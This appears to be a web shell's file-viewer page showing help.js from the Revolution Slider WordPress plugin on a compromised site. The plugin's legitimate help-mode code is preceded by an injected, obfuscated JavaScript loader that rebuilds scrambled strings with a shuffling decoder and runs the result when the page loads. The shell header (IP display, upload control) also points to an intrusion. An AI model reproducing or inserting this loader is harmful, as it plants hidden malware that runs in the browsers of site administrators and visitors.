AlkantarClanX12

Your IP : 3.23.92.64


Current Path : /home/thanudqk/siamfreetour.com/wp-content/plugins/revslider/admin/assets/js/modules/
Upload File :
Current File : //home/thanudqk/siamfreetour.com/wp-content/plugins/revslider/admin/assets/js/modules/help.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/*!
 * REVOLUTION 6.0.0 HELP JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
jQuery(function(){if("undefined"!=typeof jQuery){var e,t,s,a,i,r,l,o,n,c,d,p,u,h,f,_,m,v,y,g,b,k,j,w,Q,S,C,R,T,x,O,V,H,P,G,N,A,I,L,q,E,F,D,M,z,J,W,B=":checked",U=new RegExp("layerinput|actioninput"),X=new RegExp("sliderinput|navstyleinput"),K=new RegExp("slideinput|added_slide_transition"),Y="*[data-r], *[data-select], *[data-helpkey], .ddTP, .revbuilder-colorpicker, .tponoffwrap, .fake_on_button, .added_slide_transition, .lal_group_member",Z=".frame_list_title, .intelligent_buttons";jQuery(".help_wrap").on("click",function(t){t.stopImmediatePropagation(),void 0!==RVS.ENV.plugin_url&&"undefined"!=typeof RVS&&"undefined"!=typeof tpGS&&(F?ee():(jQuery("head").append('<link rel="stylesheet" type="text/css" href="'+RVS.ENV.plugin_url+'admin/assets/css/help.css" />'),RVS.F.ajaxRequest("get_help_directory",{},function(t){var n;if(t.success){try{n=JSON.stringify(t.data),n=JSON.parse(n)}catch(e){n=!1}n?(r=n.translations,a=n.helpindex,F=!0,function(){win=jQuery(window),l=jQuery("body");var t='<div id="help_mode_modal"><div class="help-mode-title"><span id="help_mode_title_wrap" class="help-icon-default"><i class="material-icons">touch_app</i><i class="material-icons">settings</i><i class="material-icons">gamepad</i><i class="material-icons">burst_mode</i><i class="material-icons">layers</i><span id="help_mode_title">'+r.helpMode+'</span></span><span id="help_mode_main_title">'+r.instructions+'</span><div id="help_mode_video_wrap"><video id="help_mode_video" width="520" height="292" muted loop playsinline><source src="'+RVS.ENV.plugin_url+'/admin/assets/videos/hover_tutorial.mp4" type="video/mp4" /></video></div></div><div class="help-mode-description"><div class="help-mode-section"><div id="help_mode_description"></div></div><div id="help-mode-buttons" class="help-mode-section"><div id="help_mode_documentation" class="help-mode-button"><i class="material-icons">library_books</i> '+r.viewDocs+'</div><div id="help_mode_option" class="help-mode-button"><i class="material-icons">near_me</i><i class="material-icons">settings</i><i class="material-icons">gamepad</i><i class="material-icons">burst_mode</i><i class="material-icons">layers</i> '+r.showOption+'</div><div class="tp-clearfix"></div></div></div><div id="help_mode_search_wrap"><div id="help_mode_search" class="help-mode-section"><input id="help_search_input" type="text" placeholder="'+r.search+'\'><span id=\'help_input_clear\'><i class=\'material-icons\'>close</i></span></div><div id="help_search_results"><div class="help-results-container"><div id="help-options-wrap" class="help-results-wrap"><div id="help_options_results" class="help-results"></div></div></div><div class="help-results-container"><div id="help-faqs-wrap" class="help-results-wrap"><div id="help_faq_results" class="help-results"></div></div></div><div class="tp-clearfix"></div></div></div><span id="help_modal_close"><i class="material-icons help-no-drag">close</i></span></div>';jQuery(t).prependTo(jQuery("#the_right_toolbar")),s=jQuery("#help_mode_title"),v=jQuery("#help_mode_title_wrap"),H=jQuery("#help_mode_description"),jQuery("#help-mode-buttons"),C=jQuery("#help_faq_results"),q=jQuery("#help_search_results"),E=jQuery("#help_options_results"),jQuery("#help_mode_search"),W=jQuery("#help_search_input").on("focus",oe).on("keyup",Pe),D=jQuery("#help_input_clear").on("click",function(){W.val("").trigger("keyup")}),s.data("origtext",s.html()),o=jQuery("#help_mode_modal").draggable({cancel:".help-no-drag, .help-mode-description, #help_mode_search_wrap"}).on("mouseenter",ge).on("mouseleave",be),jQuery("#help_modal_close").on("click",function(){l.removeClass("help-mode-active")}),Q=jQuery("#help_mode_documentation").on("click",function(){jQuery(".help-input-focus").removeClass("help-input-focus"),window.open(this.dataset.link)}),N=jQuery("#help_mode_option").on("click",He),J=jQuery(".help-results-wrap").RSScroll({wheelPropagation:!0,suppressScrollX:!0,minScrollbarLength:100}),y=jQuery("#help_mode_video"),b=jQuery("#help_mode_video_wrap"),z=jQuery(".help-mode-description"),function(){for(var e=[[".fake_on_button","slider","size.custom.d"],['*[data-r="source.woo.types"]',"slider","source.post.types"],['*[data-r="source.woo.category"]',"slider","source.post.category"],['*[data-r="source.woo.sortBy"]',"slider","source.post.sortBy"],['*[data-r="source.woo.sortDirection"]',"slider","source.post.sortDirection"],['*[data-r="source.woo.maxProducts"]',"slider","source.post.maxPosts"],['*[data-r="source.woo.excerptLimit"]',"slider","source.post.excerptLimit"],["#row_column_structure","layer","row_column_structure"],[".colselector label_bigicon","layer","row_column_structure"],[".layer_rowbreak_icons","layer","group.columnbreakat"],[".modal_hor_selector","slider","modal.horizontal"],[".modal_ver_selector","slider","modal.vertical"]],t=0;t<e.length;t++)jQuery(e[t][0]).attr({"data-helproot":e[t][1],"data-helpkey":e[t][2]})}(),HelpGuide.addOnsHelp.length&&HelpGuide.extendHelpAddOns(HelpGuide.addOnsHelp),e="",i=0,ie(a,' class="help-directory-top"'),HelpGuide.allHelpPaths=jQuery(e),le(),j=[],T=[],jQuery(".rbm_close").each(function(e){T[e]=jQuery(this)}),c=jQuery("#rbm_slider_api"),S=jQuery("#layeraction_list"),x=jQuery("#rbm_layer_action"),d=jQuery("#add_layer_toolbar_wrap"),A=jQuery("#the_right_toolbar_inner"),g=jQuery("#help_mode_main_title"),function(){for(var e,t,s,i,r=0;r<3;r++)for(t in i=0===r?"slider":1===r?"slide":"layer",e=a.editor_settings[i+"_settings"].addons)e.hasOwnProperty(t)&&(t=t.replace("_addon",""),s="revslider-"+t+"-addon",RVS.SLIDER.settings.addOns.hasOwnProperty(s)&&RVS.SLIDER.settings.addOns[s].enable||HelpGuide.deactivate(t+"_addon"))}(),ee()}()):console.log("help directory error")}else console.log("help directory error")})))}).on("mouseenter",function(){P=!0,w&&(I=!0,ae())}).on("mouseleave",function(){P=!1}).trigger("click"),HelpGuide.toggleHelpAddOn=function(e,t){var s=t?"removeClass":"addClass";HelpGuide.allHelpPaths.find('.help-directory-menu[data-path="'+e+'"]')[s]("help-hide-addon"),le(),D.trigger("click")},HelpGuide.extendHelpAddOns=function(s,i){for(var r=s.length,l=0;l<r;l++){var o=s[l];if(HelpGuide.verifyObject(o))for(var n,c,d,p=o.slug,u=0;u<3;u++)n=o[d=0===u?"slider":1===u?"slide":"layer"],HelpGuide.verifyObject(n)&&((c={})[p]=n,i?(e="",t="extension",ie(c,""),jQuery('.help-directory-menu[data-path="'+d+'_settings"]').find('.help-directory-menu[data-path="addons"]').append(e)):jQuery.extend(!0,a.editor_settings[d+"_settings"].addons,c))}}}else console.log("jQuery not available");function $(){RVS.WIN.trigger("resize")}function ee(){clearTimeout(R),w?(clearTimeout(G),clearTimeout(f),clearTimeout(p),clearTimeout(n),w=!1,I=!1,M=!1,RVS.WIN.off(".helpguide"),l.off(".helpguide").removeClass("help-mode-activated help-mode-active"),jQuery(".help-input-focus").removeClass("help-input-focus"),R=setTimeout(te,500)):(w=!0,D.trigger("click"),tpGS.gsap.set(o,{top:50,left:"auto",right:"100%",bottom:"auto",height:"auto"}),Q.hide(),N.hide(),z.hide(),s.removeClass(he).addClass("help-icon-default").html(s.data("origtext")),l.addClass("help-mode-activated help-mode-active").on("mouseenter.helpguide",Y,ve).on("mouseenter.helpguide",Z,me).on("mouseleave.helpguide",Y+","+Z,ye).on("mouseover.helpguide",".toolbar_selector_icons",se).on("mouseout.helpguide",".toolbar_selector_icons",ae),l.on("click.helpguide",".help-button",pe).on("mouseenter.helpguide",".help-hover",we),f=setTimeout(ke,3e3),RVS.WIN.on("resize.helpguide",ue),ue(),te(!0)),clearTimeout(O),O=setTimeout($,100)}function te(e){y&&y.length&&(e?(g.text(r.instructions),b.show(),y[0].currentTime=0,y[0].play().then(function(){L=!0}).catch(function(e){L=!1}),y.show()):(g.text(r.selectresult),b.hide(),L&&y[0].pause(),y.hide()))}function se(){(I=l.hasClass("help-mode-active"))&&(clearTimeout(p),l.removeClass("help-mode-active"))}function ae(){I&&(l.addClass("help-mode-active"),clearTimeout(p),_e())}function ie(s,a){var l=Object.keys(s),o=l.length,n=o-1;e+="<ul"+a+">";for(var c=0;c<o;c++){var d=l[c],p=s[d],u=HelpGuide.verifyObject(p)||"addons"===d;if(u){var h=u&&p.helpPath;if(h){var f="",_="",m="",v="",y="",g='<i class="material-icons">keyboard_arrow_right</i>',b=!0!==h?r.docs:r.tutorial;if(p.description&&(y='<span class="help-text">'+p.description+"</span>"),p.article&&(_='<span class="basic_action_button longbutton help-article" data-article="'+p.article+'"><i class="material-icons">assignment</i>'+b+"</span>"),p.section)if(Array.isArray(p.section)){m="";for(var k=p.section.length,j=0;j<k;j++)m+='<span class="help-section">'+p.section[j].replace(/\-\>/g,g)+"</span>"}else m='<span class="help-section">'+p.section.replace(/\-\>/g,g)+"</span>";if(p.highlight&&HelpGuide.verifyObject(p.highlight)){var w="",Q="",S="",C="",R=p.dependency_id?' id="revhelp_'+p.dependency_id+'"':"";(v=p.highlight).menu&&(w=' data-menu="'+v.menu+'"'),v.modal&&(Q=' data-modal="'+v.modal+'"'),v.focus&&(S=' data-focus="'+v.focus+'"'),v.scrollTo&&(C=' data-scrollto="'+v.scrollTo+'"'),v.dependencies&&Array.isArray(v.dependencies)&&(C+=" data-dependencies='"+JSON.stringify(v.dependencies)+"'"),v="<span"+R+' class="basic_action_button longbutton help-option"'+w+C+S+Q+'><i class="material-icons">settings</i>'+r.option+"</span>"}if(c===n){for(var T=0;T<i;T++)f+="</li>";i=0}e+='<li class="help-directory-menu help-directory-target" data-path="'+d+'"><div class="help-directory-item"><i class="material-icons">'+t+"</i>"+p.title+'</div><ul><li><div class="help-description">'+m+y+_+v+"</div></li></ul></li>"+f}else{switch(d){case"general_how_to":t="help_outline";break;case"slider_settings":t="settings";break;case"navigation_settings":t="gamepad";break;case"slide_settings":t="burst_mode";break;case"layer_settings":t="layers"}var x=d.replace(/\_/g," ").replace(/\b\w/g,function(e){return e.toUpperCase()});e+='<li class="help-directory-menu" data-path="'+d+'"><div class="help-directory-item"><i class="material-icons help-arrow-down">folder</i><i class="material-icons help-arrow-up">folder_open</i><span>'+x+"</span></div>",i++,ie(p,"")}}}e+="</ul>"}function re(){var e=jQuery(this);return e.html()?e.children("li").not(".help-hide-addon").length:(e.remove(),!1)}function le(){jQuery('.help-directory-menu[data-path="addons"]').each(function(){var e=jQuery(this);e.children("ul").filter(re).length?e.show():e.hide()})}function oe(){j=[],HelpGuide.allHelpPaths.find(".help-directory-target").each(function(e){for(var t="",s=jQuery(this).parents(".help-directory-menu").not(".help-hide-addon").toArray().reverse(),a=s.length,i=0;i<a;i++)t+=s[i].dataset.path+".";j[j.length]=t+this.dataset.path})}function ne(e,t){if("string"==typeof t&&(t=t.split(".")),t.length>1){var s=t.shift();return!!e.hasOwnProperty(s)&&ne(e[s],t)}return!!e.hasOwnProperty(t[0])&&e[t[0]]}function ce(e,t,s){if(!t)return!1;if(s||(s=function(e,t){var s=e.attr("class");if(s){if(-1!==s.search(X))return function(e,t){return e.closest(".slider_general_collector").length?"slider":"nav"}(e);if(-1!==s.search(K)||-1!==t.search("#slide#"))return"slide";if(-1!==s.search(U)||-1!==t.search("#layer#"))return"layer"}return e.closest("#rbm_layer_action").length?"layer":e.closest(".mode__sliderlayout").length?"slider":e.closest(".mode__navlayout").length?"nav":e.closest(".mode__slidecontent").length?"layer":!!e.closest(".mode__slidelayout").length&&"slide"}(e,t)),!s)return!1;var i=-1!==t.indexOf("actions.")&&"actions";if("actions"===i&&(i=function(e){return-1!==e.search(/panorama|whiteboard|beforeafter/)?"addons":"actions"}(t)),0===t.indexOf("#frame#.")&&(i=function(e){return-1!==e.search("explode")&&"addons"}(t)),i||(i="slider"!==s?s:"general",i+="_submodule_trigger",i=jQuery("."+i+".selected").attr("id")),i){"nav"===s&&(s="navigation"),i=function(e,t){switch(t){case"progress":if("navigation_settings"===e)return"progress_bar";break;case"prev_image":return"preview_image";case"holiday_snow":return"snow"}return t}(s+="_settings",i=RVS.F.trim(i).toLowerCase().replace(".","").replace("&","and").replace(/\-/g,"_").replace(/\s/g,"_"));var r=a.editor_settings[s]&&a.editor_settings[s][i];if(r||(i="addons",r=a.editor_settings[s]&&a.editor_settings[s][i]),r){if(h="",function e(t,s,a){if(!h){var i,r=t.helpPath;if(r){i=(r=r.split(",")).length;for(var l=0;l<i;l++)if(RVS.F.trim(r[l])===a){h=s;break}if(h)return}var o=Object.keys(t);i=o.length;for(var n=0;n<i;n++)HelpGuide.verifyObject(t[o[n]])&&e(t[o[n]],s+"."+o[n],a)}}(a.editor_settings[s][i],"",t),h)return["editor_settings."+s+"."+i+h,a.editor_settings[s][i],h];if(t.indexOf("addOns.tpack")>=0){var l=t.split(".");return["editor_settings.slide_settings.addons.transitionpack."+(l=l[l.length-1]),a.editor_settings.slide_settings.addons.transitionpack,"."+l]}}}return!1}function de(e,t,s){var a='<span class="help-button',i="";switch(s&&(a+=" help-button-"+s),a+='" data-path="'+t+'">',s){case"slider":i='<i class=" material-icons">settings</i>';break;case"nav":i='<i class=" material-icons">gamepad</i>';break;case"slide":i='<i class=" material-icons">burst_mode</i>';break;case"layer":i='<i class=" material-icons">layers</i>';break;case"doc":i='<i class=" material-icons">library_books</i>';break;default:i='<i class=" material-icons">help_outline</i>'}return a+=i+"<span>"+e+"</span></span>"}function pe(){var e=this.dataset.path;fe(ne(a,e),e)}function ue(e,t){var s=Math.max(E.height(),C.height()),a=Math.min(RVS.WIN.height()/3,s);J.height(a),J[0].scrollTop=0,J[1].scrollTop=0,J.RSScroll("update")}function he(e,t){return(t.match(/(^|\s)help-\icon-\S+/g)||[]).join(" ")}function fe(e,t){var a=e.highlight,i=e.buttonTitle||e.title;t="general_how_to"!==(t=t.split("."))[0]?t[1].replace("_settings",""):"faq",g.text(i),s.html(t+" "+r.options),v.removeClass(he).addClass("help-icon-"+t),H.html(e.description),z.show(),Q.attr("data-link",e.article).css("display","inline-block"),N.removeAttr("data-menu data-modal data-scrollto data-focus data-dependencies").removeClass(he).addClass("help-icon-"+t).css("display","inline-block"),a?(a.menu&&N.attr("data-menu",a.menu),a.modal&&N.attr("data-modal",a.modal),a.scrollTo&&N.attr("data-scrollto",a.scrollTo),a.focus&&N.attr("data-focus",a.focus),a.dependencies&&Array.isArray(a.dependencies)&&N.attr("data-dependencies",JSON.stringify(a.dependencies))):N.hide(),l.addClass("help-mode-active")}function _e(){p=setTimeout(function(){u||_||P||l.removeClass("help-mode-active")},3e3)}function me(){var e;if(this.className&&-1!==this.className.search("frame_list_title")){var t=jQuery(this).closest(".keyframe_liste").attr("data-frame");if(!t)return;switch(t=t.replace("frame_","")){case"0":e="animation.in.from";break;case"1":e="animation.in.to";break;case"999":e="animation.out.to";break;default:e="animation.keyframe.to"}}else e=this.dataset.evt;this.dataset.helpkey=e,ve.call(this)}function ve(){var e=jQuery(this);if(!e.hasClass("opensettingstrigger")&&!e.hasClass("formcontainer")){clearTimeout(f),clearTimeout(n),jQuery(".help-input-focus").removeClass("help-input-focus");var t,s=this.dataset.helpkey||this.dataset.r;if(s||(s=(t=(t=e).attr("data-select")?jQuery(t.attr("data-select")):t.hasClass("ddTP")?t.prev("select"):t.hasClass("revbuilder-colorpicker")?t.find(".revbuilder-cpicker-component"):t.find("input[data-r]")).attr("data-helpkey")||t.attr("data-r")||""),t&&t.length||(t=e),s=function(e,t){return-1!==t.search("parallax.levels")&&3===(t=t.split(".")).length?t[0]+"."+t[1]:-1!==t.search("info.params")&&4===(t=t.split(".")).length?t[0]+"."+t[1]+"."+t[3]:e.hasClass("added_slide_transition")?"added_slide_transition":-1===t.search(/nav\.|bullets\./)?t:e.closest("#sr_bullets_styles_fieldset, #sr_tabs_styles_fieldset").length?-1===t.search("def")?"navigation.styles":"navigation.styles.default":e.closest("#sl_bullets_styles_fieldset, #sl_tabs_styles_fieldset").length?-1===t.search("def")?"navigation.styles":"navigation.styles.default":t}(t,s)){var a=s;"radio"===this.type&&(a+="."+this.value);var i=ce(t,a,e.attr("data-helproot"));(i||("radio"===this.type&&(i=ce(t,s,e.attr("data-helproot"))),i))&&(m=!0,M=!0,n=setTimeout(function(){if(m)if(clearTimeout(p),D.trigger("click"),_=!0,te(),fe(ne(i[1],i[2].substr(1)),i[0]),e.hasClass("revbuilder-colorpicker")||e.hasClass("tponoffwrap")){var s=e.closest(".tponoffwrap");s.length?s.addClass("help-input-focus"):e.addClass("help-input-focus")}else e.attr("class")&&-1===e.attr("class").search(/bg_alignselector|layer_hor_selector|layer_ver_selector|layer_content_hor_selector|layer_content_ver_selector/)?t.addClass("help-input-focus"):e.addClass("help-input-focus")},500))}}}function ye(){m=!1,_=!1,_e()}function ge(){clearTimeout(p),u=!0}function be(){u=!1,M&&!P&&_e()}function ke(){u||P||(M=!0,be())}function je(){jQuery(this).removeClass(function(e,t){return(t.match(/(^|\s)help-\hover-\S+/g)||[]).join(" ")})}function we(){V&&(V=!1,l.off(".helpguidehover"),jQuery(".help-hover").removeClass("help-hover").each(je))}function Qe(){l.off(".helpguidehover").one("click.helpguidehover",we)}function Se(e,t){var s;clearTimeout(k),we(),"layers"===e?(t||(t="text"),d.addClass("help-hover"),d.addClass("help-hover-"+t)):(s=d.prev().addClass("help-hover"),"slideorder"===e?s.addClass("help-hover-slideorder"):"staticlayers"===e&&s.addClass("help-hover-staticlayers")),V=!0,k=setTimeout(Qe,100)}function Ce(){var e=jQuery(this);e.hasClass("tponoff")?e=e.closest(".tponoffwrap"):e.hasClass("revbuilder-cpicker-component")&&(e=e.closest(".revbuilder-colorpicker")),e.addClass("help-input-focus")}function Re(e){var t,s,a,i,r,l,o,n,c,d,p;switch((e=e.split("::"))[0]){case"layerselected":if(2===e.length&&(p=e[1]),p)for(n=p.split("||"),d="",-1!==(p=n[0]).search("{{")&&(d=" .tp-"+(o=(p=p.split("{{"))[1].split("}}")[0]),p=o),a=n.length,i="",t=0;t<a;t++)t>0&&(i+=", "),s=n[t],d&&(s=s.split("{{")[0]),i+="._lc_type_"+s+d;else i="._lc_";try{l=jQuery(i)}catch(e){l=!1}l&&l.length?(l.hasClass("_lc_content_")&&(l=l.closest("._lc_")),(r=l.filter(".selected")).length||(r=l.eq(0).trigger("click")),c=function(e){for(var t=e[0].className.split(" "),s=t.length;s--;)if(-1!==t[s].search("_lc_type_"))return t[s].replace("_lc_type_","");return!1}(r)):Se("layers",p);break;case"addlayer":Se("layers","text");break;case"addslide":Se("slides");break;case"slideorder":Se("slideorder");break;case"staticlayers":Se("staticlayers");break;default:try{jQuery(e[0]).trigger("click")}catch(e){}}return c}function Te(e){return"true"===e||"on"===e||"false"!==e&&"off"!==e&&e}function xe(e){return"#layer#"===e&&void 0!==RVS.selLayers&&Array.isArray(RVS.selLayers)&&RVS.selLayers.length?void 0!==RVS.S.clickedLayer?lastClickedLayer:RVS.selLayers[0].toString():"#slide#"===e&&void 0!==RVS.S.slideId?RVS.S.slideId:"#frame#"===e&&void 0!==RVS.S.keyFrame?RVS.S.keyFrame:"#action#"===e&&void 0!==RVS.S.actionIdx?RVS.S.actionIdx:e}function Oe(e){if(!(e=JSON.parse(e))||!Array.isArray(e))return!1;for(var t,s,a,i,r,l,o,n,c=e.length,d=0;d<c;d++)if(a=e[d],HelpGuide.verifyObject(a)){if(a.dependency&&a.dependency!==t)continue;for(r=a.path.split("."),i=RVS.SLIDER,l=r.length,s=!1,n=0;n<l;n++){if(o=xe(r[n]),!i.hasOwnProperty(o))return!0;i=i[o]}if(t=i=Te(i),"string"==typeof a.value&&-1!==a.value.search("::")){var p=a.value.split("::");for(l=p.length,n=0;n<l;n++)if(p[n]===i){s=!0;break}}else a.value===i&&(s=!0);if(!s)return a.target&&(B="[value='"+a.target+"']"),He.call(HelpGuide.allHelpPaths.find("#revhelp_"+a.option)),!0}else t=Re(e[d]);return!1}function Ve(){try{this.trigger("click")}catch(e){}}function He(e){e&&e.stopImmediatePropagation(),jQuery(".help-input-focus").removeClass("help-input-focus");var t=jQuery(this),s=t.attr("data-modal"),a=s&&"actions"===s,i=t.attr("data-dependencies");if(a||!i||!Oe(i)){var r,l,o,n=t.attr("data-menu"),d=t.attr("data-focus"),p=t.attr("data-scrollto");s||jQuery.each(T,Ve),n&&function(e){for(var t,s=(e=e.split(",")).length,a=0;a<s;a++)(t=jQuery(RVS.F.trim(e[a]))).hasClass("selected")||("gst_layer_5"===t.attr("id")?Re("layerselected")&&!x.is(":visible")&&t.trigger("click"):"gst_sl_11"===t.attr("id")?(jQuery(".emc_toggle_wrap").removeClass("open"),c.is(":visible")||t.trigger("click")):t.trigger("click"))}(n),d&&function(e){jQuery(".help-input-focus").removeClass("help-input-focus"),jQuery(".lal_group_member.selected").removeClass("selected"),e=e.replace("*wildcard*",B),B=":checked";var t,s,a,i=-1!==e.search("{first}");-1!==e.search("{frame}")?(s=!0,e=e.replace("{frame}","")):-1!==e.search("{keyframe}")&&(t=!0,e=e.replace("{keyframe}","")),i&&(e=e.replace("{first}",""));try{a=jQuery(e)}catch(e){return}t&&!a.length&&(a=jQuery(".add_frame_after").first()),(s||t)&&a.closest(".keyframe_liste").css("z-index","29"),i?a.eq(0).addClass("help-input-focus"):a.each(Ce)}(d),p&&(-1===(r=p).search("{actions}")?(l="offset",o=A):(l="position",o=S,r=r.replace("{actions}","")),(r=jQuery(r).filter(":visible")).length&&(o.scrollTop(0),o.scrollTop(r[l]().top))),a&&i&&Oe(i)}}function Pe(){var e,t,i,o="";if(this.value&&this.value.length>2){e=function(e,t){e=RVS.F.trim(e);for(var s,i,r,l,o,n,c="",d="",p="",u="",h="",f=j.length,_=[],m=0;m<f;m++)if(s=(i=ne(a,j[m])).keywords)for(l=s.length,n=0;n<l;n++){try{o=s[n].search(e)}catch(e){continue}if(-1!==o&&-1===_.indexOf(j[m]))if(_[_.length]=j[m],r=i.buttonTitle||i.title,"general_how_to"===j[m].split(".")[0])c+=de(r,j[m],i.helpPath);else switch(j[m].split(".")[1]){case"slider_settings":d+=de(r,j[m],"slider");break;case"slide_settings":p+=de(r,j[m],"slide");break;case"layer_settings":u+=de(r,j[m],"layer");break;case"navigation_settings":h+=de(r,j[m],"nav")}}return[c,d,h,p,u]}(this.value.toLowerCase());for(var n=1;n<5;n++)e[n]&&(o+=e[n]);o?(i=!0,E.html(o).show(),l.removeClass("help-options-empty")):(E.hide(),l.addClass("help-options-empty")),e[0]?(t=!0,o=e[0],C.html(o).show(),l.removeClass("help-faqs-empty")):(C.hide(),l.addClass("help-faqs-empty"))}if(i||t){s.html(r.helpMode),v.removeClass(he).addClass("help-icon-default"),te(),Q.hide(),N.hide(),q.show(),D.css("visibility","visible");var c=Math.max(E.height(),C.height()),d=Math.min(RVS.WIN.height()/3,c);J.height(d),J[0].scrollTop=0,J[1].scrollTop=0,J.RSScroll("update"),clearTimeout(G),G=setTimeout(function(){J.RSScroll("update")},250)}else q.hide(),D.css("visibility","hidden"),te(!0);z.hide()}});